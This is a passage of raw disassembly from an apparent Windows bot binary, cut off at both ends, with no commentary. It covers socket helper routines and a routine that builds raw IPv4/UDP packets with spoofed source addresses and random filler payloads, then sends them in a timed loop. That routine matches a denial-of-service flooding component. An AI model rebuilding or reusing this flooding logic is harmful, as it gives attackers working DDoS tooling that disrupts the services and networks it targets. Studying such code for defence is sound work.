[ebp+var_20], 17h jmp short loc_405027 ; --------------------------------------------------------------------------- loc_405010: ; CODE XREF: sub_404FE7+1Ej mov eax, [ebp+arg_8] and eax, 1 test eax, eax jz short loc_405023 mov [ebp+var_20], 2 jmp short loc_405027 ; --------------------------------------------------------------------------- loc_405023: ; CODE XREF: sub_404FE7+31j and [ebp+var_20], 0 loc_405027: ; CODE XREF: sub_404FE7+27j ; sub_404FE7+3Aj mov eax, [ebp+arg_8] and eax, 4 xor ecx, ecx test eax, eax setnz cl inc ecx mov [ebp+var_1C], ecx lea eax, [ebp+var_28] push eax lea eax, [ebp+var_24] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_41DE54 ; getaddrinfo test eax, eax jz short loc_405057 xor eax, eax jmp locret_4050E8 ; --------------------------------------------------------------------------- loc_405057: ; CODE XREF: sub_404FE7+67j mov eax, [ebp+var_28] mov [ebp+var_4], eax jmp short loc_405068 ; --------------------------------------------------------------------------- loc_40505F: ; CODE XREF: sub_404FE7+A8j ; sub_404FE7+F4j mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_405068: ; CODE XREF: sub_404FE7+76j cmp [ebp+var_4], 0 jz short loc_4050DD mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call dword_417218 ; socket mov [ebp+var_2C], eax cmp [ebp+var_2C], 0FFFFFFFFh jnz short loc_405091 jmp short loc_40505F ; --------------------------------------------------------------------------- loc_405091: ; CODE XREF: sub_404FE7+A6j push 0 push [ebp+var_2C] call sub_404457 pop ecx pop ecx mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_2C] call dword_4171F4 ; connect cmp eax, 0FFFFFFFFh jnz short loc_4050D2 call dword_417224 ; WSAGetLastError cmp eax, 2733h jnz short loc_4050D2 push [ebp+var_28] call dword_41DE5C ; freeaddrinfo mov eax, [ebp+var_2C] jmp short locret_4050E8 ; --------------------------------------------------------------------------- loc_4050D2: ; CODE XREF: sub_404FE7+CEj ; sub_404FE7+DBj push [ebp+var_2C] call sub_4053B1 pop ecx jmp short loc_40505F ; --------------------------------------------------------------------------- loc_4050DD: ; CODE XREF: sub_404FE7+85j push [ebp+var_28] call dword_41DE5C ; freeaddrinfo xor eax, eax locret_4050E8: ; CODE XREF: sub_404FE7+6Bj ; sub_404FE7+E9j leave retn sub_404FE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4050EA proc near ; CODE XREF: sub_401E38+80p ; sub_402698+16p ... var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_838 = dword ptr -838h var_834 = dword ptr -834h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 844h mov eax, [ebp+arg_C] cdq mov ecx, 3E8h idiv ecx mov [ebp+var_834], eax mov eax, [ebp+arg_C] cdq mov ecx, 3E8h idiv ecx imul edx, 3E8h mov [ebp+var_830], edx push 20h push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_8] and eax, 2 test eax, eax jz short loc_40513E mov [ebp+var_20], 17h jmp short loc_405155 ; --------------------------------------------------------------------------- loc_40513E: ; CODE XREF: sub_4050EA+49j mov eax, [ebp+arg_8] and eax, 1 test eax, eax jz short loc_405151 mov [ebp+var_20], 2 jmp short loc_405155 ; --------------------------------------------------------------------------- loc_405151: ; CODE XREF: sub_4050EA+5Cj and [ebp+var_20], 0 loc_405155: ; CODE XREF: sub_4050EA+52j ; sub_4050EA+65j mov eax, [ebp+arg_8] and eax, 4 xor ecx, ecx test eax, eax setnz cl inc ecx mov [ebp+var_1C], ecx lea eax, [ebp+var_82C] push eax lea eax, [ebp+var_24] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_41DE54 ; getaddrinfo test eax, eax jz short loc_405188 xor eax, eax jmp locret_40538B ; --------------------------------------------------------------------------- loc_405188: ; CODE XREF: sub_4050EA+95j mov eax, [ebp+var_82C] mov [ebp+var_4], eax jmp short loc_40519C ; --------------------------------------------------------------------------- loc_405193: ; CODE XREF: sub_4050EA+E3j ; sub_4050EA+128j ... mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_40519C: ; CODE XREF: sub_4050EA+A7j cmp [ebp+var_4], 0 jz loc_40537D mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call dword_417218 ; socket mov [ebp+var_83C], eax cmp [ebp+var_83C], 0FFFFFFFFh jnz short loc_4051CF jmp short loc_405193 ; --------------------------------------------------------------------------- loc_4051CF: ; CODE XREF: sub_4050EA+E1j push 0 push [ebp+var_83C] call sub_404457 pop ecx pop ecx mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_83C] call dword_4171F4 ; connect mov [ebp+var_838], eax cmp [ebp+var_838], 0 jz short loc_405217 call dword_417224 ; WSAGetLastError cmp eax, 2733h jz short loc_405217 jmp loc_405193 ; --------------------------------------------------------------------------- loc_405217: ; CODE XREF: sub_4050EA+119j ; sub_4050EA+126j and [ebp+var_828], 0 loc_40521E: ; CODE XREF: sub_4050EA+1AFj and [ebp+var_840], 0 jmp short loc_405234 ; --------------------------------------------------------------------------- loc_405227: ; CODE XREF: sub_4050EA:loc_405259j mov eax, [ebp+var_840] inc eax mov [ebp+var_840], eax loc_405234: ; CODE XREF: sub_4050EA+13Bj mov eax, [ebp+var_840] cmp eax, [ebp+var_828] jnb short loc_40525B mov eax, [ebp+var_840] mov eax, [ebp+eax*4+var_824] cmp eax, [ebp+var_83C] jnz short loc_405259 jmp short loc_40525B ; --------------------------------------------------------------------------- loc_405259: ; CODE XREF: sub_4050EA+16Bj jmp short loc_405227 ; --------------------------------------------------------------------------- loc_40525B: ; CODE XREF: sub_4050EA+156j ; sub_4050EA+16Dj mov eax, [ebp+var_840] cmp eax, [ebp+var_828] jnz short loc_405295 cmp [ebp+var_828], 200h jnb short loc_405295 mov eax, [ebp+var_840] mov ecx, [ebp+var_83C] mov [ebp+eax*4+var_824], ecx mov eax, [ebp+var_828] inc eax mov [ebp+var_828], eax loc_405295: ; CODE XREF: sub_4050EA+17Dj ; sub_4050EA+189j xor eax, eax test eax, eax jnz short loc_40521E lea eax, [ebp+var_834] push eax push 0 lea eax, [ebp+var_828] push eax push 0 push 0 call dword_41722C ; select cmp eax, 1 jnz short loc_4052E0 push 1 push [ebp+var_83C] call sub_404457 pop ecx pop ecx push [ebp+var_82C] call dword_41DE5C ; freeaddrinfo mov eax, [ebp+var_83C] jmp locret_40538B ; --------------------------------------------------------------------------- loc_4052E0: ; CODE XREF: sub_4050EA+1CEj ; sub_4050EA+27Cj and [ebp+var_844], 0 jmp short loc_4052F6 ; --------------------------------------------------------------------------- loc_4052E9: ; CODE XREF: sub_4050EA:loc_405360j mov eax, [ebp+var_844] inc eax mov [ebp+var_844], eax loc_4052F6: ; CODE XREF: sub_4050EA+1FDj mov eax, [ebp+var_844] cmp eax, [ebp+var_828] jnb short loc_405362 mov eax, [ebp+var_844] mov eax, [ebp+eax*4+var_824] cmp eax, [ebp+var_83C] jnz short loc_405360 loc_405319: ; CODE XREF: sub_4050EA+265j mov eax, [ebp+var_828] dec eax cmp [ebp+var_844], eax jnb short loc_405351 mov eax, [ebp+var_844] mov ecx, [ebp+var_844] mov ecx, [ebp+ecx*4+var_820] mov [ebp+eax*4+var_824], ecx mov eax, [ebp+var_844] inc eax mov [ebp+var_844], eax jmp short loc_405319 ; --------------------------------------------------------------------------- loc_405351: ; CODE XREF: sub_4050EA+23Cj mov eax, [ebp+var_828] dec eax mov [ebp+var_828], eax jmp short loc_405362 ; --------------------------------------------------------------------------- loc_405360: ; CODE XREF: sub_4050EA+22Dj jmp short loc_4052E9 ; --------------------------------------------------------------------------- loc_405362: ; CODE XREF: sub_4050EA+218j ; sub_4050EA+274j xor eax, eax test eax, eax jnz loc_4052E0 push [ebp+var_83C] call sub_4053B1 pop ecx jmp loc_405193 ; --------------------------------------------------------------------------- loc_40537D: ; CODE XREF: sub_4050EA+B6j push [ebp+var_82C] call dword_41DE5C ; freeaddrinfo xor eax, eax locret_40538B: ; CODE XREF: sub_4050EA+99j ; sub_4050EA+1F1j leave retn sub_4050EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40538D proc near ; CODE XREF: sub_401E38+26Ep ; sub_4020C2+3FBp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 1 push [ebp+arg_0] call dword_417200 ; shutdown push 3E8h call dword_41709C ; Sleep push [ebp+arg_0] call sub_4053B1 pop ecx pop ebp retn sub_40538D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053B1 proc near ; CODE XREF: sub_404279+77p ; sub_40432E+1Cp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_417230 ; closesocket pop ebp retn sub_4053B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053BF proc near ; CODE XREF: sub_401E38+15Cp ; sub_4020C2+2F9p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_41720C ; send mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_4053BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053DC proc near ; CODE XREF: sub_403DF3+D1p ; sub_405443+21p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_8], 2 jnb short loc_4053F6 push 271Eh call dword_417234 ; WSASetLastError or eax, 0FFFFFFFFh jmp short locret_405441 ; --------------------------------------------------------------------------- loc_4053F6: ; CODE XREF: sub_4053DC+8j push 0 mov eax, [ebp+arg_8] dec eax push eax push [ebp+arg_4] push [ebp+arg_0] call dword_417248 ; recv mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_405418 cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_40541D loc_405418: ; CODE XREF: sub_4053DC+34j mov eax, [ebp+var_4] jmp short locret_405441 ; --------------------------------------------------------------------------- loc_40541D: ; CODE XREF: sub_4053DC+3Aj mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jb short loc_405435 push 271Eh call dword_417234 ; WSASetLastError or eax, 0FFFFFFFFh jmp short locret_405441 ; --------------------------------------------------------------------------- loc_405435: ; CODE XREF: sub_4053DC+47j mov eax, [ebp+arg_4] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] locret_405441: ; CODE XREF: sub_4053DC+18j ; sub_4053DC+3Fj ... leave retn sub_4053DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405443 proc near ; CODE XREF: sub_402698+8Dp ; sub_402698+2BEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push [ebp+arg_C] push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_40545B xor eax, eax jmp short loc_40546C ; --------------------------------------------------------------------------- loc_40545B: ; CODE XREF: sub_405443+12j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4053DC add esp, 0Ch loc_40546C: ; CODE XREF: sub_405443+16j pop ebp retn sub_405443 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40546E proc near ; CODE XREF: sub_405443+9p ; sub_410649+2Dp ... var_1018 = dword ptr -1018h var_1014 = dword ptr -1014h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_804 = dword ptr -804h var_800 = dword ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1018h call sub_416BC0 and [ebp+var_804], 0 and [ebp+var_1008], 0 loc_405489: ; CODE XREF: sub_40546E+90j and [ebp+var_1014], 0 jmp short loc_40549F ; --------------------------------------------------------------------------- loc_405492: ; CODE XREF: sub_40546E:loc_4054C1j mov eax, [ebp+var_1014] inc eax mov [ebp+var_1014], eax loc_40549F: ; CODE XREF: sub_40546E+22j mov eax, [ebp+var_1014] cmp eax, [ebp+var_804] jnb short loc_4054C3 mov eax, [ebp+var_1014] mov eax, [ebp+eax*4+var_800] cmp eax, [ebp+arg_0] jnz short loc_4054C1 jmp short loc_4054C3 ; --------------------------------------------------------------------------- loc_4054C1: ; CODE XREF: sub_40546E+4Fj jmp short loc_405492 ; --------------------------------------------------------------------------- loc_4054C3: ; CODE XREF: sub_40546E+3Dj ; sub_40546E+51j mov eax, [ebp+var_1014] cmp eax, [ebp+var_804] jnz short loc_4054FA cmp [ebp+var_804], 200h jnb short loc_4054FA mov eax, [ebp+var_1014] mov ecx, [ebp+arg_0] mov [ebp+eax*4+var_800], ecx mov eax, [ebp+var_804] inc eax mov [ebp+var_804], eax loc_4054FA: ; CODE XREF: sub_40546E+61j ; sub_40546E+6Dj xor eax, eax test eax, eax jnz short loc_405489 loc_405500: ; CODE XREF: sub_40546E+107j and [ebp+var_1018], 0 jmp short loc_405516 ; --------------------------------------------------------------------------- loc_405509: ; CODE XREF: sub_40546E:loc_405538j mov eax, [ebp+var_1018] inc eax mov [ebp+var_1018], eax loc_405516: ; CODE XREF: sub_40546E+99j mov eax, [ebp+var_1018] cmp eax, [ebp+var_1008] jnb short loc_40553A mov eax, [ebp+var_1018] mov eax, [ebp+eax*4+var_1004] cmp eax, [ebp+arg_0] jnz short loc_405538 jmp short loc_40553A ; --------------------------------------------------------------------------- loc_405538: ; CODE XREF: sub_40546E+C6j jmp short loc_405509 ; --------------------------------------------------------------------------- loc_40553A: ; CODE XREF: sub_40546E+B4j ; sub_40546E+C8j mov eax, [ebp+var_1018] cmp eax, [ebp+var_1008] jnz short loc_405571 cmp [ebp+var_1008], 200h jnb short loc_405571 mov eax, [ebp+var_1018] mov ecx, [ebp+arg_0] mov [ebp+eax*4+var_1004], ecx mov eax, [ebp+var_1008] inc eax mov [ebp+var_1008], eax loc_405571: ; CODE XREF: sub_40546E+D8j ; sub_40546E+E4j xor eax, eax test eax, eax jnz short loc_405500 mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx mov [ebp+var_1010], eax mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx imul edx, 3E8h mov [ebp+var_100C], edx lea eax, [ebp+var_1010] push eax lea eax, [ebp+var_1008] push eax push 0 lea eax, [ebp+var_804] push eax push 1 call dword_41722C ; select cmp eax, 1 jz short loc_4055C9 xor eax, eax jmp short locret_4055E3 ; --------------------------------------------------------------------------- loc_4055C9: ; CODE XREF: sub_40546E+155j lea eax, [ebp+var_804] push eax push [ebp+arg_0] call sub_416E30 ; __WSAFDIsSet test eax, eax jz short loc_4055E1 push 1 pop eax jmp short locret_4055E3 ; --------------------------------------------------------------------------- loc_4055E1: ; CODE XREF: sub_40546E+16Cj xor eax, eax locret_4055E3: ; CODE XREF: sub_40546E+159j ; sub_40546E+171j leave retn sub_40546E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4055E5 proc near ; DATA XREF: sub_405E45+113o var_1358 = dword ptr -1358h var_1354 = dword ptr -1354h var_1350 = dword ptr -1350h var_134C = dword ptr -134Ch var_1348 = dword ptr -1348h var_1344 = dword ptr -1344h var_1340 = dword ptr -1340h var_133C = dword ptr -133Ch var_1338 = dword ptr -1338h var_1334 = dword ptr -1334h var_118D = byte ptr -118Dh var_108D = byte ptr -108Dh var_1087 = dword ptr -1087h var_1083 = dword ptr -1083h var_107F = dword ptr -107Fh var_1078 = dword ptr -1078h var_1074 = byte ptr -1074h var_1058 = byte ptr -1058h var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1358h call sub_416BC0 push 2B9h push [ebp+arg_0] lea eax, [ebp+var_1334] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 0FFh push 3 push 2 call dword_417218 ; socket mov [ebp+var_1078], eax cmp [ebp+var_1078], 0FFFFFFFFh jnz short loc_405643 push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405643: ; CODE XREF: sub_4055E5+49j mov [ebp+var_1340], 1 push 4 lea eax, [ebp+var_1340] push eax push 2 push 0 push [ebp+var_1078] call dword_417204 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_40567E push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_40567E: ; CODE XREF: sub_4055E5+84j push 0 push [ebp+var_1078] call sub_404457 pop ecx pop ecx push 10h push 0 lea eax, [ebp+var_10] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_10], 2 lea eax, [ebp+var_108D] push eax call sub_416B9C ; atoi pop ecx push eax call dword_417238 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_118D] push eax call dword_417244 ; inet_addr mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_405710 lea eax, [ebp+var_118D] push eax call dword_41723C ; gethostbyname mov [ebp+var_1344], eax cmp [ebp+var_1344], 0 jnz short loc_405700 push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405700: ; CODE XREF: sub_4055E5+106j mov eax, [ebp+var_1344] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_C], eax loc_405710: ; CODE XREF: sub_4055E5+EAj cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_405729 push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405729: ; CODE XREF: sub_4055E5+12Fj push 1060h push 0 lea eax, [ebp+var_1074] push eax call sub_416B6A ; memset add esp, 0Ch lea eax, [ebp+var_1074] mov [ebp+var_133C], eax lea eax, [ebp+var_1058] mov [ebp+var_14], eax mov eax, [ebp+var_133C] mov al, [eax] and al, 0F0h or al, 5 mov ecx, [ebp+var_133C] mov [ecx], al mov eax, [ebp+var_133C] mov al, [eax] and al, 0Fh or al, 40h mov ecx, [ebp+var_133C] mov [ecx], al mov eax, [ebp+var_133C] mov byte ptr [eax+9], 11h mov eax, [ebp+var_133C] mov ecx, [ebp+var_C] mov [eax+10h], ecx mov eax, [ebp+var_133C] mov cx, [ebp+var_E] mov [eax+16h], cx and [ebp+var_1338], 0 jmp short loc_4057B6 ; --------------------------------------------------------------------------- loc_4057A9: ; CODE XREF: sub_4055E5:loc_405E22j mov eax, [ebp+var_1338] inc eax mov [ebp+var_1338], eax loc_4057B6: ; CODE XREF: sub_4055E5+1C2j mov eax, [ebp+var_1338] cmp eax, [ebp+var_1087] jge loc_405E27 mov eax, [ebp+var_107F] mov [ebp+var_1358], eax cmp [ebp+var_1358], 1 jz short loc_4057FC cmp [ebp+var_1358], 2 jz loc_405924 cmp [ebp+var_1358], 3 jz loc_405A11 jmp loc_405C71 ; --------------------------------------------------------------------------- loc_4057FC: ; CODE XREF: sub_4055E5+1F6j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_40581E: ; CODE XREF: sub_4055E5+2BFj push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_4058A9 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_40581E ; --------------------------------------------------------------------------- loc_4058A9: ; CODE XREF: sub_4055E5+247j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset dword_418A64 push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C93 ; --------------------------------------------------------------------------- loc_405924: ; CODE XREF: sub_4055E5+1FFj push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405946: ; CODE XREF: sub_4055E5+3CBj push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_4059B2 push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp short loc_405946 ; --------------------------------------------------------------------------- loc_4059B2: ; CODE XREF: sub_4055E5+36Fj push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset dword_418A64 push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C93 ; --------------------------------------------------------------------------- loc_405A11: ; CODE XREF: sub_4055E5+20Cj push 2 push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_134C], eax cmp [ebp+var_134C], 0 jnz short loc_405A52 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset dword_418A60 push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch jmp loc_405C6F ; --------------------------------------------------------------------------- loc_405A52: ; CODE XREF: sub_4055E5+444j cmp [ebp+var_134C], 1 jnz loc_405B87 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405A81: ; CODE XREF: sub_4055E5+522j push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_405B0C push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405A81 ; --------------------------------------------------------------------------- loc_405B0C: ; CODE XREF: sub_4055E5+4AAj push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset dword_418A64 push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C6F ; --------------------------------------------------------------------------- loc_405B87: ; CODE XREF: sub_4055E5+474j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405BA9: ; CODE XREF: sub_4055E5+62Ej push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_405C15 push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp short loc_405BA9 ; --------------------------------------------------------------------------- loc_405C15: ; CODE XREF: sub_4055E5+5D2j push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset dword_418A64 push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch loc_405C6F: ; CODE XREF: sub_4055E5+468j ; sub_4055E5+59Dj jmp short loc_405C93 ; --------------------------------------------------------------------------- loc_405C71: ; CODE XREF: sub_4055E5+212j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset dword_418A60 push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405C93: ; CODE XREF: sub_4055E5+33Aj ; sub_4055E5+427j ... push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov [ebp+var_1354], eax and [ebp+var_1350], 0 jmp short loc_405CB8 ; --------------------------------------------------------------------------- loc_405CAB: ; CODE XREF: sub_4055E5+6F9j mov eax, [ebp+var_1350] inc eax mov [ebp+var_1350], eax loc_405CB8: ; CODE XREF: sub_4055E5+6C4j mov eax, [ebp+var_1350] cmp eax, [ebp+var_1354] jnb short loc_405CE0 mov eax, [ebp+var_14] add eax, [ebp+var_1350] mov al, [eax] shl al, 1 mov ecx, [ebp+var_14] add ecx, [ebp+var_1350] mov [ecx], al jmp short loc_405CAB ; --------------------------------------------------------------------------- loc_405CE0: ; CODE XREF: sub_4055E5+6DFj mov eax, [ebp+var_1354] add eax, 1Ch push eax call dword_417238 ; htons mov ecx, [ebp+var_133C] mov [ecx+2], ax call sub_41043F push eax call dword_417238 ; htons mov ecx, [ebp+var_133C] mov [ecx+4], ax call sub_410483 neg eax sbb eax, eax and al, 0C0h add eax, 80h mov ecx, [ebp+var_133C] mov [ecx+8], al push 2 push offset dword_41EF18 call dword_417244 ; inet_addr push eax call sub_4040E8 pop ecx pop ecx mov ecx, [ebp+var_133C] mov [ecx+0Ch], eax mov eax, [ebp+var_1354] add eax, 14h push eax push [ebp+var_133C] call sub_40407D pop ecx pop ecx mov ecx, [ebp+var_133C] mov [ecx+0Ah], ax movzx eax, [ebp+var_E] test eax, eax jnz short loc_405D7F call sub_41043F mov ecx, [ebp+var_133C] mov [ecx+16h], ax loc_405D7F: ; CODE XREF: sub_4055E5+789j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx push eax call dword_417238 ; htons mov ecx, [ebp+var_133C] mov [ecx+14h], ax mov eax, [ebp+var_1354] add eax, 8 push eax call dword_417238 ; htons mov ecx, [ebp+var_133C] mov [ecx+18h], ax push 10h lea eax, [ebp+var_10] push eax push 0 mov eax, [ebp+var_1354] add eax, 1Ch push eax lea eax, [ebp+var_1074] push eax push [ebp+var_1078] call dword_417250 ; sendto mov [ebp+var_1348], eax cmp [ebp+var_1348], 0FFFFFFFFh jnz short loc_405E08 push [ebp+var_1334] call sub_409763 pop ecx push [ebp+var_1078] call sub_4053B1 pop ecx xor eax, eax jmp short locret_405E41 ; --------------------------------------------------------------------------- loc_405E08: ; CODE XREF: sub_4055E5+805j push [ebp+var_1083] call dword_41709C ; Sleep mov eax, [ebp+var_1334] 